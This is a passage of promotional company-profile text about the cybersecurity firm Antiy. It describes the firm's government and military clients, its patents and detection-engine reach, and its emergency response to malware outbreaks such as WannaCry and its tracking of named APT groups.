and information authorities, military forces, ministries, confidential industries, and critical information infrastructure.
Antiy has participated in the security work of major national political and social events since 2005 and has won
honors such as the Outstanding Contribution Award and Advanced Security Group. Since 2015, Antiy's products and
services have provided security support for major spaceflight missions including manned spaceflight, lunar
exploration, and space station docking, as well as significant missions such as the maiden flight of large aircraft,
escort of main force ships, and Antarctic scientific research. We have received several thank-you letters from relevant

departments.

Antiy is a core enabler of the global fundamental security supply chain. Nearly a hundred of the world's leading
security and IT enterprises have chosen Antiy as their partner of detection capability. At present, Antiy's threat
detection engine provides security detection capabilities for over 1.3 million network devices and over 3 billion smart
terminal devices worldwide, which has become a "national-level" engine. As of now, Antiy has filed 1,877 patents in
the field of cybersecurity and obtained 936 patents. It has been awarded the title of National Intellectual Property

Advantage Enterprise and the 17th (2015) China Patent Excellence Award.
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Antiy is an important enterprise node in China emergency response system and has provided early warning and
comprehensive emergency response in major security threats and virus outbreaks such as "Code Red", "Dvldr",
"Heartbleed", "Bash Shellcode" and "WannaCry". Antiy conducts continuous monitoring and in-depth analysis
against dozens of advanced cyberspce threat actors (APT groups) such as "Equation”, "White Elephant", "Lotus" and
"Greenspot" and their attack actions, assisting customers to form effective protection when the enemy situation is

accurately predicted.
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